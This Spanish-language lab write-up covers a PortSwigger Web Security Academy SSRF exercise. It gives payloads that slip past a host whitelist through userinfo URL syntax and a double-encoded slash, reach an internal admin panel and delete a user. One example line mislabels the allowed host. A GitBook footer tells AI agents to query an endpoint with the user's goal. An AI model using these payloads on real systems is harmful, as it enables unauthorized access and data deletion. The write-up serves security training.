> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssrf/ssrf-with-whitelist-based-filter.md).

# SSRF con filtrado basado en lista blanca

Notas de SSRF con filtrado basado en lista blanca para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### SSRF con filtro de entrada basado en lista blanca

La función de comprobación de stock envía solicitudes a un sistema interno. / El objetivo es modificar la URL usada en el `stockApi` parámetro para الوصول a la interfaz de administración ubicada en `HTTP://localhost/admin`, y luego eliminar al usuario **carlos**. / El desarrollador ha implementado una defensa anti-SSRF basada en una **lista blanca de hosts autorizados**, que debe ser eludida.

```javascript
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1
```

#### **Análisis del filtro**

La aplicación solo permite solicitudes al siguiente host:

```bash
stockApi=http://127.0.0.1/admin
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f31ae378ad3d13127c4e3bd966a2674fca8a521a%2Fimage%20(335).png?alt=media" alt=""><figcaption></figcaption></figure>

Si cambiamos la URL a `localhost` o una dirección interna, obtenemos el error:

El host externo de comprobación de stock debe ser stock.weliketoshop.net

#### **Eludiendo la lista blanca**

La idea es usar la `username:password@host` sintaxis en las URL. / Este método nos permite **forzar que el host validado por la lista blanca aparezca en la parte de "authority"** mientras que en realidad se dirige la solicitud a `localhost`.

```bash
http://username:password@website.com
```

Carga útil usada:

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080
```

Con `/` (`%252f`) doble codificación, el servidor interpreta correctamente la parte redirigida a `localhost`.

Esto permite el acceso al panel de administración interno.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d58f7af715138774973b447b71f6048679eb9d%2Fimage%20(336).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Eliminación del usuario Carlos**

Una vez que el bypass funciona, la URL de eliminación se llama directamente:

{% code overflow="wrap" %}

```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080/admin?delete=username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/ssrf/ssrf-with-whitelist-based-filter.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
